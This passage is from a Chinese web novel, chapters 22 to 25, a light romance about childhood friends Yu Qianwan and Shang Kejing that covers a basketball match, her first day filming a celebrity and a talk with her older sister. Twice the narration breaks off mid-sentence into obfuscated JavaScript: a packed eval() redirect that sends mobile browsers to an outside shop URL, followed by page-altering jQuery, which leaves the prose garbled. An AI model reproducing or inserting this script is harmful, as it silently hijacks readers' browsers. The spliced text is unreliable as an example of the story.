徐盼雁一万个不情愿魏明轩上场,虽然魏明轩还一副没事的模样憨笑着宽慰她说他以后又不是打职业的,就算落下点小病根也没啥,但哪有人会舍得自己爱的人有丁点问题? 可又知道男友对篮球队的重视程度,两相矛盾下,她还是选择联系商恪景做最后尝试,但她没有商恪景的联系方式,便找了和商恪景关系好的虞千绾,她知道他们住得很近。 徐盼雁也知道商恪景肯定也有自己要忙的事情,不好意思奢望太多,哪怕商恪景没法打完后续全部球赛都可以,只要在他有空的时候能来替一下魏明轩就好,一场都行,好歹能让魏明轩有一场的休憩时间。 不过她整体是不抱太大希望的,但也想做一个尝试,万一呢。 …… “你想我去吗?” 这是了解完全程后商恪景的第一句话。 虞千绾也很矛盾惆怅,她迅速摇摇头又滞缓地点了点头,“第一反应肯定是不想,你的伤也才刚好没多久,也很需要休养的。但盼雁给我打电话的时候估计还在医院呢,背景音嘈杂,声音也带着些恳求,听着挺让人心疼的,估计她很着急。” 商恪景看着虞千绾说“你的伤也才刚好没多久,也很需要休养”的时候微微轻皱的眉头,以及稍嗡下去的声调,感知到明确担忧的他唇角暗爽地扬了扬。 “诶——” 虞千绾灵光乍现,“或者,你有没有什么篮球打得比较好的朋友能介绍给魏明轩啊?这样你们俩就都不用上场了。” “没有。” 商恪景摇了摇头,“我认识的大多都不是咱学校的,这种高校间的比赛要核实学生身份的,他们没法代表我们学校打比赛,被发现会被通报批评并且取消比赛资格的。至于学校里那些,魏明轩认识的肯定比我多,能联系的他估计都联系过了。” 虞千绾上一秒还以为自己提出了绝妙的点子,下一秒听完这话又托腮无奈起来,发出幽长的叹息,“啊……好吧。” 商恪景忽然又问:“我要是去参加比赛,你会来给我加油吗?” 虞千绾不假思索地回:“当然啊,送毛巾送水一个都不能落。” “行,那你跟你室友说,我去。” 快速的一来一回对话落地,虞千绾懵然地眨了眨眼,空气静了刹那,她坐直了些身子,“啊?你确定吗?你后背可以吗?” “都是皮外伤,早好的差不多了。而且你不是跟你那室友关系不错吗?正好现在天气也凉下来了,不至于太热,就当去玩玩了。” 最重要的是,商恪景想享受一下打篮球的时候虞千绾在一旁为他欢呼,打完篮球后又递水又递毛巾的近乎“男朋友”的待遇。 “真的假的啊……” 虞千绾心里还是不太想商恪景去的,他要是身体没问题,她肯定乐意他去帮帮徐盼雁的男朋友,可他自己身体都不是最佳状态,哪里还能去顾及旁人?还是自身健康的优先级最高。 就像徐盼雁心疼自己男朋友一样,虞千绾肯定也担心自己的好朋友。 “真的啊,不然我脱下来给你看看?” 商恪景转了个身,背对着她,作势真要把衣领从颈后往下拽拽给她看自己后背的情况。 虞千绾一秒伸脚在他后腰位置踢了下,“你可算了吧,我怕长针眼。” 商恪景:“?” 他当即转过身,笑意全无,没好气质问:“虞千绾你有点品味没?” “我这么完美的身材别人求着看还看不到呢,长个屁的针眼。” “噗。” 虞千绾瞬间笑到仰过头,什么话都没明确说,嘲讽度却拉满。 商恪景有些破防,语噎地静默几秒突然哼笑了声,“而且你眼睛都肿成那么大过,一点点小针眼比起来只是小巫见大巫罢了,大不了再戴墨镜过几天呗。” “啊!” 又被提到这茬,虞千绾也有些破防,“商恪景你闭嘴啊。” 商恪景很欠揍地还边笑边在空中模拟用筷子夹东西,“然后再在吃饭的时候把姜当成肉。” “商恪景!你烦死了。” 虞千绾抡起靠在腰后的靠枕就砸向商恪景的肩膀,又窘又想笑。 互相伤害的两人莫名又笑闹起来。 但篮球赛的事基本敲定。 23. 第 23 章 翌日一早。 虞千绾在由轻渐重的闹铃声中醒来,素来会赖床一会儿的她今日却分外积极,左手去摸手机关闹钟的同时右手就撑着床单半坐了起来,未清醒的身形微微摇晃,眼睛也较显艰难地眯着,但依旧没怎么犯懒拖延地直接下了床。 毕竟是第一天工作,她还是有些激动和忐忑的,想要早些到达新环境观察适应。 虞千绾并非是个绝对性躺平的人,面对感兴趣、乐意去做的事,她可以付出百分之两百的努力。她极其不喜在局限且与旁人共存的环境下工作,也不喜数十年如一日稳定且重复率极高的工作,她会觉得很没意思。 她喜欢新鲜感,喜欢稳定中却又有些可控的不稳定,既不会让她乏味又不至于太难,还可以让她在完成后感到满足。 后者需要接触后才能确切感知到,而前者,现在的账号经营无疑就给到虞千绾这种感觉,所以她没什么抵触情绪,反倒挺开心地进入,主动深入了解。 最让虞千绾喜欢的就是时间地点上相对的自由度与灵活性,她不用天天早起去到公司里坐班,也无需等到工作之余才能享受生活,她依旧可以和朋友们约着出去玩,因为她的工作只需要一台电脑,她在闲暇时间拿出电脑就可以写脚本剪辑视频,像今日这种要去现场拍摄的到底是少数情况。而且就算她某段时间得花很多时间在工作上没法游玩,但起码能换个新环境,在山清水秀的地方待着处理工作也比在公司里好。 综上,几乎可以说,这份工作是虞千绾的梦情工作了,所以她愿意把精力投入其中,愿意在其中努力向上,想要成功把号做成,创立出很多很多十万加点赞量的视频,这样她就可以靠着经营账号和姐姐赌一辈子,再不用无趣且煎熬地坐在办公室里对着一堆电脑和文件挠头。 就在几个月前,她还以为自己就要过上这样的日子了,幸福来得突然,她更为珍惜。 不过她的身份可不仅仅是新账号的宣传经营者那么简单,她还是嘉澍集团的另一位继承人。 虽然虞千绾并没有继承嘉澍的念头,但她确是爸妈的孩子,外人都会这么认为她,她自也不想给家人丢脸。 而且第一次正式负责与嘉澍相关的业务,虞千绾想要表现出在职场中该有的那份成熟与气场。 这大概是许多年轻人的通病,总想要将自己打扮的成熟。 于是虞千绾学着姐姐平日的穿搭穿了身偏休闲风的西装套装,不那么随意也不那么夸张,脚下配了双纯黑色的尖头高跟鞋,经常披着的卷了发尾的长发也被她挽起盘在脑后,妆容颜色也没有用什么鲜艳的亮色,尤其在眼周,仅用眼线轻带,化了个干净利落淡到像没怎么化的淡妆。 奈何就算照搬照套都没什么用,虞千绾看着镜中的自己,完全没感觉到姐姐的那份气场。见到陌生人或许能唬住别人几分,可见到熟人完全唬不住,熟人会一眼看出她在装大人。 虞千绾对着镜子左转转右转转怀疑人生,她足足一米七的个头,姐姐也就比她高了两厘米,气场怎么会悬殊这么大呢。 虽然她知道问题出在眼睛上,但还是免不得惆怅感慨。 她跟姐姐长得非常非常像,如若只看下半张脸,几乎是一模一样,但只要露出眼睛,姐妹俩的气质就完全不同了。 虞千绾的眼睛圆润有神,稍有些笑意眼睛就亮晶晶的,看着像只纯良的小白兔。 虞昭音的眼睛则是狭长冷淡型的,天然会给人一种距离感。 奈何眼睛在面部的存在感太强,使得她们给人的感觉悬殊很大,所以明明除了眼睛都很像的姐妹俩却没多少人说她们长得像,甚至旁人还觉得虞昭音的唇要更薄些,眉毛更细长些,总归是更显凌厉的那种。 故以,虞千绾化妆时还小心机的把唇在视觉上化薄了些,然而并没什么用。 毕竟她还没从学校里毕业,还有着未被磨砺过的学生气,周身的气场很难和在嘉澍叱咤多年的姐姐相似。 天生的外形不可改变,至于内在塑造的气场…… 嗯……如果要像姐姐那样努力工作才能塑造的话…… 虞千绾一秒转变立场,自觉自己这样也很好,气场不要也罢,反正都是虚的,享受到的悠闲自在才是真的。 哄好自己,虞千绾提着包包哼着小曲出门。 推开门她发现商恪景的家门居然大敞着,他怎么这么早也醒了? 但这念头没在虞千绾脑海里停留太久,她只觉得找到了一个显摆对象,踩着高跟鞋就踏入商恪景家里。 商恪景正窝在沙发上打游戏,在隔壁门打开的时候他就听到了,视线早不知往门口瞟了多少次,这次虞千绾真过来了,他倒收起视线在那故作没发现的继续打游戏,直到虞千绾的脚步声一点点靠近,他才一副刚发现的模样掀眸看去。 只见虞千绾迎着他的视线逐步迈近,但她步子迈得比正常步伐小,脚踩地时力度也稍重,高跟鞋俏皮在她脚下发出哒哒哒的清脆音,注意力彻底从游戏里移开,商恪景眉眼噙笑定睛追随着她,眼睛一眨不眨。 站定的那刻,虞千绾下意识想要拨一下秀发侧扬脸庞故作姿态,但手指触到肩上的瞬间才想起头发被自己盘起了,转而,她手掌虚虚在圆润的后脑勺捧了捧,“看我,是不是有几分我姐的样子了?” 商恪景放下手机,几乎是瞬间就get到虞千绾想要表达的点,附和地鼓了鼓掌,“哪能?昭音总是昭音总,千绾总是千绾总,两位总各有各的气场,但都相同的漂亮有内涵。” “小商有口才啊,明天就提拔你当我贴身助理。” “这么有口才还得等到明天吗?千绾总先提拔我一天,我多一天工资啊。” “哈哈哈哈。” 虞千绾被哄得乐得合不拢嘴,故作高姿态地朝他摆了摆手,“行行行,那今天晚餐商助理安排好发我手机上啊。” 她拍了拍胸脯,“一切消费由千绾总买单。” 商恪景左手握拳,右手覆在左手上,朝她掬了掬,“大方阔绰的千绾总放心去商界厮杀吧,我会为您完美处理好生活琐碎的,尤其第一天工作的晚餐,我一定竭力让您满意。” 虞千绾都快要被这突如其来的戏尬翻也爽翻,但很讲义气地跟商恪景说:“你放心,等你去永誉上班的时候,我也这么跟你演。” “只是演吗?我还真缺个贴身助理。” “想得美。”虞千绾鼻尖傲娇轻哼,“我可是千绾总。不跟你说了,我要去工作了!车已经在楼下等我了。” 她可可爱爱地来,风风火火地走。 让他的心满了又缺。 商恪景全程视线追随,听到电梯开启又关闭的声,他才念念不舍起身把家门关上。虽然还有些同她分开的小惆怅,但面上那些积蓄着的因她产生的笑意还没散去。 - 嘉澍集团旗下购物平台新签的代言人叫容博延,是演艺圈新一代奖项流量双断层的顶流艺人。 他的私德也很不错,对待所有工作人员都是笑吟吟的一视同仁,不会随便耍大牌,但显然有人同他及他的工作人员说过虞千绾的身份,他们对待虞千绾尤其客气,生怕怠慢了她。 容博延很会摆镜头,身材也有着特别锻炼过的痕迹,将身上的衣服撑得恰到好处,长相也是显而易见的英俊。 拍摄这么个既帅又懂得技巧的人,虞千绾现下省心许多是毋庸置疑的,也省了很多后期美化P图的麻烦。 对比起当初…… 逐渐清醒的她不禁感叹之前给常桦拍视频出片真的吃了太多苦…… 常桦能进娱乐圈,颜值在平常人里自也是上等的,但在满是帅哥美女的娱乐圈,常桦就显得平庸许多,尤其他还是个淡颜系,在一群吸睛的浓颜帅哥里绝不会被先被注意到的那个。 所以每一次,虞千绾给他拍摄的时候都得找很久的角度隔除旁人,或者出片后裁掉别人,总之是没有当下拍容博延这么丝滑顺利。及时现下容博延旁边也有帅哥,那大多也只有给他当绿叶陪衬的份,虞千绾完全不用怕旁人对他产生威胁。 第一次拍摄就这么顺利成功的临近尾声。 为了给新账号引流,虞千绾还让容博延帮她签了几十张签名照,以及后续的抽奖to签,届时全都发放给评论区的网友当做福利。 - “昭音总。” 虞昭音刚来到拍摄现场就被几位工作人员看到,其中一人率先礼貌唤了声,她微微颔首,然后比了个嘘示意工作人员都安静下来忙自己的就行不用管她。 今日这种小场合自然无需她这个总裁过来,但这是虞千绾第一天工作,作为姐姐,虞昭音觉得她需要来。 姐妹俩因为悬殊十岁,虞昭音的阅历总是先虞千绾十年,虞千绾的很多个有特殊意义的第一次,虞昭音都陪伴在侧。 很多时候也不是虞千绾提什么要求,只是虞昭音爱护妹妹,心念妹妹,甚至有时是虞昭音在好奇虞千绾的生活,想尽可能多的了解她的生活,不想因为年龄的代沟错过什么。 于是,在虞千绾第一次正式工作的时刻,虞昭音依旧来了,没有错过,还特意带了束花。 不过为了不打扰环境不喧宾夺主,虞昭音把花放在了休息间没抱着过来,打算过会儿单独送给虞千绾。 还没收到花,仅是忙完工作后的一个余光扫见姐姐,虞千绾就高兴地朝她小跑去,第一时间拉住姐姐的手同她分享自己的快乐和斗志,“姐~我就知道你会来!我跟你说哦,我有信心,这次我绝对又能弄到最少三个月的假期!反正我拍了好多视频呢,又没说一个人的只能发一次,一个视频三十万点赞有难度,三个十万的就没那么难了。” 虞昭音一向冷淡的模样在此刻变得极度柔和,就像面对着孩子一样,她抬手细心帮虞千绾左额前微微散乱下来的那缕碎发勾起往后捋了捋,“已经做得很好了,爸妈和小橙子也让我带话来祝你开启人生新篇章呢。” “好耶,收到收到。等回家路上,我再挨个给他们发消息~” 虞昭音来这看了好一阵了,看到虞千绾的第一眼,她就发现妹妹在学自己的打扮,但许是见多了妹妹稚嫩的模样,她倒不觉妹妹在装成熟,而是真的在成熟在长大了。 她看着虞千绾架着拍摄器材一脸认真严谨地和各方负责人对接,看着虞千绾踩着高跟鞋忙忙碌碌的模样,很切实的感觉到记忆里的妹妹在长大。 为妹妹欣喜之余,虞昭音还有些怅然若失。 幸而,在看到她后,妹妹还是第一时间那么可爱俏皮的靠近她,同她撒娇,同她叽叽喳喳有着说不尽的话,还是那个小女孩。 捏了捏虞千绾胳膊,虞昭音问:“忙完了吗?忙完了咱们去休息室聊会儿?” 她就是抽空过来看看虞千绾第一天工作适不适应,过会儿还得回总公司忙自己的工作,并没太多的时间。 “那姐姐你等我一下,我还有最后一件事跟他们说一下就可以了。” 虞昭音点了点头,看着虞千绾像只小蝴蝶绚烂地飞走又飞回。 “好啦!” 虞千绾直接挽住虞昭音的胳膊,同她一起去到休息室。 还不待虞昭音说,虞千绾就自觉抱起放在里头的花,“哇~好漂亮,好明媚的配色。” 虞昭音买的花是黄色系的,浅黄、嫩黄、橙黄,许多不同颜色的花朵形成层次感,其间缀有白色小花,四周则是黄莺和小圆叶尤加利。 花束原先摆放的位置并没有阳光,虞昭音怕日头给花儿晒蔫吧了不好看,但这一会儿的功夫,太阳的位置变化,光线正好刺到了花束上,倒让本就惹眼的黄色系花朵更显明媚温暖。 虞千绾很是喜欢,头都挨下去猛吸一口,“好好看呀,我还是第一次收到黄色系的花呢。” “很明媚很治愈,很像你。” 正因如此,虞昭音才买下这束花。 “嘿嘿,谢谢姐姐~” 虞千绾嗓音更夹了些,脑袋挨过去蹭了蹭姐姐。 虞昭音抬手摸了摸她的发。 姐妹俩就这么坐下聊了会儿琐碎日常的事。 眼瞧着时间流逝,距离回嘉澍的时间越来越近,虞昭音才拉住虞千绾的手,声调放轻询问:“告诉姐姐,最近是不是受欺负了?” “嗯?” 虞千绾睁着圆溜溜的大眼睛,还不明姐姐突然转换话题的所指,“什么?” “就之前的那个小网红。” “哦……”虞千绾刚还神采飞扬的小脸肉眼可见地微怔而后敛下神情,“他啊,姐你怎么想起来问我这个……” 姐妹俩虽然感情很好,许多事情都聊,但男人这件事,她们很少聊。 倒没太多旁的理由,就是在姐妹局、家庭局中都不是优先级高的话题。 在她们家里,谈对象好像一直不是个多重要的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16347404|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。 加之这些年时代变化,不止她们,周围朋友的家长都不是在催婚,而是催育,只要自家家业有后代继承,男不男人的无所谓,父母们还不想有个外人来到自家呢。而且说白了,京市有几家财力能比得过虞家?届时两家孩子财产共有,虞家定是吃亏的那方。 而且虞昭音对待异性的态度也渐渐影响到虞千绾,起初虞昭音谈恋爱的时候还会跟家里人提一提对方的性格和家庭以及怎么认识的,后来分了又谈,经历几段基本就不太当回事不会主动提了,除非某个契机正好聊到。 甚至于虞昭音当年去国外度假回来后就怀上了虞景澄,家里人都没多过问那个男人到底是谁,一方面是虞昭音明显没有和那人后续交往的意思,家人便没那闲心去关注他,另方面是虞昭音之前就挺想要个孩子的,还有思考要不要去国外精子库挑个基因不错的精子,这个孩子来得都在她们的计划中。至今,虞昭音都没说过任何有关孩子父亲的信息,家人也没多问过。 所以潜移默化中,虞千绾也觉得,不找到一个要结婚的对象也没必要那么早告知给家里人。但毕竟是第一次有喜欢的对象,起初,虞千绾还是很想把常桦这个人描述给家人听的,但是常桦身处娱乐圈身份特殊,他们也并没有真正在一起过,所以虞千绾没提,打算等到他们日后真在一起了感情稳定了再说,哪知道就发展成了现在的样子。 但她没想到,一向不太过问她感情生活的姐姐今日会冷不丁问及。 虞昭音确实不关心感情生活,无论是自己的还是旁人的,因为这事在她的生活里已经几乎占比为零了。 但现下的重点是,她知道妹妹受委屈了,这两个的着重点完全不同。 虞千绾听着姐姐的话,看着她认真在意的神情,心软软地侧首依偎在姐姐肩头,把和常桦的事都告诉了姐姐。 第一反应,虞昭音让虞千绾给她看了眼常桦的照片。 看完后,虞昭音沉默良久。 虽然是沉默,虞千绾感觉自己被骂得很狠。 虞昭音并非完全没管过虞千绾的感情生活,在虞千绾高中那会儿,差不多可以谈恋爱的年纪,虞昭音常同虞千绾聊这些,还跟她科普过性知识,但虞千绾到底没经历过,所以虞昭音说得比较浅,但起码让虞千绾有了些保护好自身的意识。 后来虞千绾成年,渐渐长大,心智成熟,该懂的道理也都懂得差不多,虞昭音就没再多管过。 不过时不时的,家里人也会跟虞千绾说,家里不要求她日后对象的家世多好,但绝不能太差,最重要的是自身得上进,品格良好。 然而常桦…… 显然哪个点都没达到。 到底,虞昭音只是摸了摸虞千绾的脑袋,“果然还是个小屁孩,纯靠着青春萌动的感情,不看颜值也不看自己得到的钱和情绪价值。” 虞千绾忍不住为当初的自己发声,“他有这么丑吗?虽然我现在不喜欢他了……但我感觉更多是人品问题,颜值没拉胯到那个地步吧?你这话显得我品味也太差了吧……” “嗯,很差。” 虞昭音以平淡的语调说出攻击性极强的话,虞千绾听得直想吐血。 “确实也不丑,但你自小跟商恪景关系那么好,周围帅哥也不少啊,恪景的哥哥长得也不赖,以及我看你堆朋友里面,薄家的那个孩子,还有程家的都不错,起码都比这个男的好看,以我的审美来说。” 虞昭音捏着虞千绾的脸,认真瞧了瞧她的眼睛有没有问题,明明生活在经济和外貌都挺优越的环境里,怎么看上了这么个什么都普通的男人。 虞千绾一时间更是反驳不上来,脑袋耷拉下去,声调嗡嗡,“……不知道,就是对别人没感觉。” 感情这事真的很难靠着世俗意义上的优秀去操控,譬如虞昭音也觉得商恪景和商知珩家世相当,外貌优秀,但她不会喜欢他们。 虞千绾亦然。 感觉是个很虚浮,自己都没法控制的字眼。 有那么一句话说,当那个人出现时,一切对于理想型的设定都形同虚设,甚至那个人和想象中完全是两样的,但心就是动了。 何况她们这圈子里都是家世不错的,长得帅也不少,如果只以这两个条件判断,那怕是会有很多个喜欢的对象。 不再喜欢常桦的虞千绾已经无法共情当初的自己了,她甚至自己都说不出自己当初是怎么一点一点喜欢上常桦的了,只想赶紧跳过这个话题,“姐你不要侮辱我了……我还以为你是要安慰我的呢。” “起初是这么想的,但我看你已经走出来了,再安慰反倒让你多想又陷进去,还不如找找根本原因,防止下次换个男人重蹈覆辙。” “绝不可能!” 虞千绾猛一拍桌,“再这样我就是猪。” 虞昭音没说话,只是浅笑着抬指在虞千绾鼻子前推了推。 虞千绾恼羞成怒扑到虞昭音怀里挠她痒痒,“啊!姐姐你怎么这么对我啊,商恪景都安慰我好久,你可是我亲姐姐。” 虞昭音不怕痒,随虞千绾怎么折腾,就笑着看着她,漫不经心问:“这些天都是恪景陪着你的?” “对啊。” “对他也没感觉?” “当然没感觉了。” 看着虞千绾不假思索就脱口而出的姿态,虞昭音点了点头,没再多问,换了话题,“绾绾,你确定不给那个男人些苦头吃?虞家女儿的身份是你的助力不是桎梏,你不需要因为担心账号经营问题轻轻放下,姐姐会帮你处理好一切,你只需要安心做你的工作。” “也不是啦,我是真的觉得没必要了,之前在他身上浪费太多时间,不值当。而且,我觉得他不可能在娱乐圈闯出名头来,相反,他要是待在网红圈还真能捞点钱,所以让他在娱乐圈待着反而挺折磨他的,他就是这种人,既要又要,拿不起还放不下的。尤其最近他同公司里最讨厌的那个男明星火起来了,他肯定超级不爽。” “尤其呀~我知道姐姐会帮我处理好,但姐姐这些年在嘉澍已经很累了,所以我也不想浪费姐姐的时间和精力。” 虞昭音宽慰一笑。 但在出了拍摄基地,和虞千绾的车往两地驶出时,虞昭音单手抵额手肘撑在座椅扶手边缘,淡淡说:“有个叫常桦的,给他找点事做。” 跟随虞昭音多年的助理自然听得出虞昭音的不快语调和隐蕴的深意,“是,昭音总。” 24. 第 24 章 虽然虞千绾在现场拍摄了许多容博延的视频和照片,虽然她知道多放与容博延有关的内容视频的流量和点赞量会越高,但她依旧没有那么做。 因为新账号主打是以她的视角记录的与嘉澍有关的日常,一切都以她自己为主角往外延伸,而容博延只是单日里的一个小点,放太多容博延反而会让大数据对她的账号定位有所偏移,误以为是站姐类推给追星族。 所以虞千绾只打算在视频里剪入一小段容博延,没用到的那些她就留着等到日后专门出一个合作过的明星大合集。 在视频剪辑上,虞千绾基本没什么担忧,她已经很熟悉这方面操作,但她只有剪些明星向视频和搞怪小视频的经验,不似新账号这般高难度,光是脚本都够她钻研许久。 加之是新账号的第一条试水视频,虞千绾很重视,心里面不自觉将其高度拔高到不该有的位置,反复修改反复剪辑又反复推翻。 幸而她的时间很多,目前购物平台还没官宣容博延的代言人身份,她需要等待购物平台公开宣传后再配合着一起把视频发出去,尚有充分的时间慢慢磨出自己满意的视频。 一周多的时间,虞千绾情绪基本调解好,虽然心里可能偶尔想起还会略微有些不是滋味,但已经不会再哭再明显形于色了。 商恪景发现了,但他藏着私心,所以嘴上不提,依旧除了睡觉外的时间都待在虞千绾家里。 虞千绾自然也不可能说什么,两人就这么和谐共处着。 青梅竹马的两人很习惯这样的日常,丝毫不会感到不适应,毕竟比之之前也就是每天在一起的时间更长了些而已。 这段时光里,商恪景非常惬意愉悦,因为再不用必须想到正当理由或话题才能来找她。 - 国庆假期悄然结束,但对处于大四的虞千绾和商恪景而言节假日和工作日并没太大区别,因为他们的课程很少,有时再碰巧遇到老师调课,两周都不用去一趟学校。 唯一固定的是,每周一次有关论文的线上或线下会议。 但没课协商一个组的学生有些困难,且老师也不是很想在学校里等着学生,找个固定的时间不固定地点对大家都舒服。 所以开学至今,就起初那周老师要求组内带的学生去了趟她的办公室线下交涉,其余都是选用的线上会议方式。 每周,虞千绾和商恪景这一组的所有学生都会按照老师的要求在截止时间前把论文发送给老师同步论文进度,然后在统一的时间与老师通语音沟通有无需要修改的内容或后续有关。 因为虞千绾天天抱着电脑和手机制作视频,商恪景也跟着上进不少,但他没旁的什么事要做,于是全把精力放在论文上,都要把论文初稿写完了——他们之前参加过不少次竞赛,还拿过几次国奖,很熟悉论文格式和写法。本科论文本身就没太大难度,商恪景还刻意选的是和自己当初参加过的一个竞赛差不多的选题,写起来非常顺滑。 虞千绾被他卷得焦头烂额,让他等等自己。 商恪景笑问她急什么,这才大四上学期没过多久,后面日子还久,而且她已经定期完成了老师的要求。 虞千绾自也知道这个道理,如果早早把论文写完的是旁人她压根不会有什么危机感,但偏偏这个人是商恪景,虞千绾就不适应,非常不适应。 他们该一起躺平的才对。 突然见好友这么卷,她心头慌慌的。 又是一周的线上汇报后。 邢老师狠狠夸赞了商恪景一番,说他是她带的学生里进展最快的,旁人都得在新年前才能把初稿大致定下,而他早早就完成了,甚至已经进入了数据收集阶段。 因为商恪景这番卷卷的行为,本来进度并不慢且完成了老师要求的同组学生们莫名就被老师小小吐槽了一下。 然后,商恪景一打开电脑就会收到虞千绾投来的哀怨一眼,还会轻嚷着让他等等她。 商恪景笑着妥协,转而挑选起电视剧看。他本身也没那么想努力,只是不想让她觉得他很无所事事。 在网上看了些电视剧的排名和评价,最终,商恪景选中了一部叫做《我的阿勒泰》的剧,剧很短,就八集。 虞千绾不太能够一心二用,虽然她挺喜欢剪视频或写论文的时候放个音乐或电视剧在一旁,但并没多少能进到脑子里,只是单纯喜欢有个声音在旁边。 所以,即使商恪景就坐在虞千绾旁边看的剧,她都不知道这部剧到底在说什么,就知道里面时不时冒出些听不懂的语言,总归不是普通话,并且女主角叫李文秀,男主角叫巴太。除此外,她就什么都不知道了。 “虞千绾,你看见我了吗?” 正在潜心写论文想要赶上商恪景进度的虞千绾忽闻他这么问了句,她抬头看去,懵然于他这没头没尾的话,“啊?什么?” 商恪景朝着面前的电视抬了抬下颚。 虞千绾顺着看去,只见商恪景用遥控器操控着电视回退了半分钟。 电视重新播放她没有看到的内容。 虞千绾定睛细看。 屏幕中,女主角遥遥望着在牧场躺着的男主角,出现了这么一句台词——“哈萨克文化里,人与人之间产生友情或者爱情是由于被看见,所以在哈萨克语中我喜欢你意思是我清楚地看见你。” 虞千绾想当然的认为他们之间是前者,还当商恪景在阴阳怪气她当初喜欢常桦时忽略了同他的友情,当即语调微扬,眼眸亮晶晶地看着他,满怀激情道:“当然看见啦,我全世界最最最好的朋友!你最近一直的陪伴,我都有看到!感恩~” 商恪景寡淡笑了笑,视线情绪不明地自她面上滑过,回正看着电视,遥控器也被他随手丢在一旁。 虞千绾无辜眨了眨眼,将电脑从腿上拿下去放在一旁,跪坐在沙发上倾身去瞧商恪景,“你怎么怪怪的?” “没有。” “没有?”虞千绾才不信,指着他脑门说:“你就差没把‘有事’这两个字刻在这了。” “真没有。” 商恪景偏过头,避开她手指的方向。 鼓了鼓嘴,虞千绾委实不解地瞧他,刚不是还好好的吗?怎么突然就不高兴了。 她最近也没提过常桦呀,也没因为旁人忽略了他,更没干过什么重色轻友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16358193|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事吧? 客厅静了一瞬又一瞬,只有电视机持续往外传着声。 倏地,商恪景感觉到身侧人又朝他的方向挪了挪,圆润的脑袋可可爱爱地半探到面前,水灵灵的大眼睛巴巴望着他,好似想通了的模样斥责他,“商恪景你不是吧?不给你写论文还生气了?那你写呗。我不就是想让你等等我一起嘛。这么小气啊。” “你爱写可以写呀,最好把我的也一起写了。” 嘴比脑子快的。 商恪景被气笑了,当即发出声嗤笑。 他也是服了…… 这人到底什么脑回路? 偏偏气笑之余看着她那双懵然的眼和神情又觉可爱到不行,很想摁到怀里揉一揉,捏一捏再……亲一亲。 但显然超出了朋友范畴。 喉结微滚,商恪景一手放在她发顶转过她脑袋不让她用那双好看到不行的眼睛望着自己,一边同步地将视线也偏离开克制着不去被她吸引。 “真没什么事,我也不想写论文,只是看你一直在忙工作,我感觉自己也得找个事干。更没有生气,只是一直看剧打游戏有些无聊,提不起兴趣而已,” 这次,商恪景说话语气和神情正常了许多,不再像刚刚那副姿态了,虞千绾瞧了他眼这才安心,没再多想,“那你要不要约人出去打打篮球练一练?毕竟很快就要篮球赛了。” “你去吗?” “不想去,我不懂篮球,而且你们一群男生练球,我去很无聊。” 商恪景眉头一皱,不乐意了。 他侧过身,右手曲着直接压在沙发背上,宽硕颀长的身形具有压迫感地朝她倾近,“不是,虞千绾你不是说要给我加油打气送水送毛巾的吗?” 虞千绾毫无退缩之意,理直气壮,“我说的那是正式比赛!又没说平常训练。” “你——” 商恪景欲言又止,最后只是忿忿丢下“没良心”三个字偏开了头双手抱胸半侧过身不再看虞千绾,明摆着生闷气的样,比刚刚那句“没有”还要明显。 不知道是不是自己的错觉,虞千绾感觉商恪景最近特别特别娇气,动辄就有些小脾气小情绪的,很需要人哄似的。 但在她情绪不稳时,他的这种微妙情绪又会消散无存,稳稳接住她的情绪。 他们之间好像有着一种难以言说的平衡感。 想着他最近都陪着自己,虞千绾瞧着他正对着自己的那个隐蕴着不满的后脑勺,顺从着改了口,“行行行,去去去,商少爷开心了没?” 商恪景睐她眼,还拿腔作调的,“这么勉强啊?那就别去了。可别耽误千绾总的工作。” “啧。” 虞千绾一秒变脸,抬手就往他胳膊上打了一巴掌,跟着用食指指着他警告,“差不多得了啊,别在那得了便宜还卖乖的,跟你台阶就快点下。快跟球队约时间吧,不然小心我改主意。” 商恪景揉着刚被打过的胳膊那片,嘴里咕哝着“真暴力”,转而拿起手机联系魏明轩那边询问球队训练时间时,唇角却很是难压。 一想到虞千绾会陪他去练球,心里就爽到不行。 25. 第 25 章 正巧,当天傍晚就有篮球队的训练,商恪景从魏明轩那得知时间和地点后便打算和虞千绾吃完晚饭就过去,路上走一程消消食,到现场打球刚好。 魏明轩当真是个非常负责任的队长,哪怕这段时间他的腿受伤不便打篮球,但也天天杵着拐去陪队员们训练,在一旁像个教练般盯着随时指出问题。 徐盼雁不放心男友的腿伤,有空的时候也会去球场陪着他。 今日听闻虞千绾要来,她也立即说自己也提前些到,两个女生有个伴。 知晓徐盼雁也会去后,虞千绾心情肉眼可见放松了不少,对去篮球场这事也多了几分开心,还主动拿着包去冰箱前挑选零食和饮料。 商恪景瞧着,回家拿了个方便携带的小瓶驱蚊液一同放进包里,“室外球场估计有蚊子,你们俩女生到时候多涂些。” “哦好。” 虞千绾把驱蚊液拿起,转而插在了包的侧边,如此方便拿,要是和零食混在一起摸索起来很艰难。 很不经意的,商恪景视线往虞千绾包里扫了一圈。 全是吃的喝的,里面有瓶运动功能性饮料显然是给他带的,但是旁的显然就没什么是与他有关的了。 见虞千绾要把包包的拉链拉上,商恪景很难不显刻意的生咳了声。 虞千绾动作一顿,掀眸看他,“干嘛。” “给我准备的毛巾呢?” 商恪景这话是直视着虞千绾眼睛说的,但语调和神情都有些微妙,还挺难为情的…… 虞千绾语噎,她明明说的是打比赛的时候! 